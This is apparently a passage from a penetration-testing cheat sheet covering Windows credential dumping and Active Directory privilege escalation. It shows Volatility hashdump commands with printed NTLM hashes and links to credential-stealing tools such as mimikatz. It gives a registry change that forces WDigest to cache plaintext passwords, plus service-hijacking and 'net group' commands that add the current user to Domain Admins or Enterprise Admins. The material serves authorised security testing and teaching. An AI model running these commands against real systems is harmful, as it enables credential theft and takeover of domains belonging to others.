Image local date and time : 2014-09-13 21:15:04 +0200
Using the "hivelist" plugin we can now get the memory offsets for the various registry hives.
::
root@Josjikawa:~/Tools/volatility# ./vol.py hivelist -f ../../Desktop/memory.dmp --profile=Win7SP1x86
Volatility Foundation Volatility Framework 2.4
Virtual Physical Name
---------- ---------- ----
0x988349c8 0x3945a9c8 \??\C:\Users\Fubar\AppData\Local\Microsoft\Windows\UsrClass.dat
0x87a0c008 0x27f9f008 [no name]
0x87a1c008 0x280ed008 \REGISTRY\MACHINE\SYSTEM # SYSTEM
0x87a3a6b0 0x27d4b6b0 \REGISTRY\MACHINE\HARDWARE
0x87abe5c0 0x2802a5c0 \SystemRoot\System32\Config\DEFAULT
0x880b5008 0x231b7008 \SystemRoot\System32\Config\SECURITY
0x88164518 0x231cc518 \SystemRoot\System32\Config\SAM # SAM
0x8bd019c8 0x24aec9c8 \Device\HarddiskVolume1\Boot\BCD
0x8bdd2008 0x24772008 \SystemRoot\System32\Config\SOFTWARE
0x8f5549c8 0x1f39e9c8 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x90e83008 0x1f09f008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x955a9450 0x15468450 \??\C:\System Volume Information\Syscache.hve
0x988069c8 0x3aa329c8 \??\C:\Users\Fubar\ntuser.dat
All that remains now is to dump the hashes. To do this we need to pass volatility's "hashdump" module the virtual memory offsets to the SYSTEM and SAM hives, which we have.
::
root@Josjikawa:~/Tools/volatility# ./vol.py hashdump -f ../../Desktop/memory.dmp --profile=Win7SP1x86
sys-offset=0x87a1c008 sam-offset=0x88164518
Volatility Foundation Volatility Framework 2.4
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e:::
These Virtual Machine coredumps can be very large (1 GB+). If transferring them over the network is not an option you can always drop a copy of volatility on the target machine. Starting from version 2.4, volatility has binary packages for Windows, Linux and OSX.
::
# Binary package on OSX 10.9.4
Avalon:Volatility-2.4 b33f$ ./volatility_2.4_x64 hashdump -f ../memory.dmp --profile=Win7SP1x86
sys-offset=0x87a1c008 sam-offset=0x88164518
Volatility Foundation Volatility Framework 2.4
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e:::
Other Tools
--------------
NonAdmin
""""""""
**mimikittenz**
https://github.com/putterpanda/mimikittenz
**WebCredentials**
https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
**WinCreds**
https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1
**BroserCookies**
https://github.com/sekirkity/BrowserGather
**SessionGopher**
https://github.com/fireeye/SessionGopher
Admins
"""""""
**mimikatz**
https://github.com/gentilkiwi/mimikatz
To make it work on windows 10 we need to change one registry value :
::
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
And then make the user logon again :
::
rundll32.exe user32.dll,LockWorkStation
Active Directory Built-In Groups Self-Elevation
------------------------------------------------
Generally when we talk about elevation using Built-In groups, it is considered to be a Local administrator to a higher priviledge user.
As mentioned in a `ADSecurity Blog <https://adsecurity.org/?p=2362>`_ there are a few built-in groups with the ability to logon to Domain Controllers by default:
* Enterprise Admins (member of the domain Administrators group in every domain in the forest)
* Domain Admins (member of the domain Administrators group)
* Administrators
* Backup Operators
* Server Operators
* Account Operators
* Print Operators (Currently has no obvious methods of elevating privileges)
During a penetration testing engagement, this is probably the least used but one of the most effective ways of compromising the domain administrator. This has been shared by Jason Filley in his blog `Active Directory Built-In Groups Self-Elevation <http://www.jasonfilley.com/activedirectorybuiltingroupsselfelevation.html>`_
Built-In Administrators to EA/DA
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If you have local administrator access to the domain controller, however do not have domain administrative access, the elevation is pretty simple. We need to only add the user we are utilizing into the domain admins group, utilizing a privileged command prompt and we are done.
::
net group "Domain Admins" %username% /DOMAIN /ADD
Below are interesting cases on how one could utilize other Built-In Administrators to elevate to Enterprise Admin/ Domain Admin/ Built-In Administrator
Server Operators elevate to EA/DA/BA
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Server Operators can modify the properties of certain services. The Computer Browser (“browser”) service is disabled by default and can easily be changed to run a command as System, which on DC’s has permissions to modify the built-in administrative groups.
::
C:\>sc sdshow browser
D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCSWRPWPDTLOCRRC;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Here we see that Server Operators (“SO”) can write all properties (“WP”) for the browser service. Change the browser service properties to call “net group” instead.
C:\>sc config browser binpath= "C:\Windows\System32\cmd.exe /c net group \"Enterprise Admins\" %username% /DOMAIN /ADD" type= "share" group= "" depend= ""
[SC] ChangeServiceConfig SUCCESS
C:\>sc start browser
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.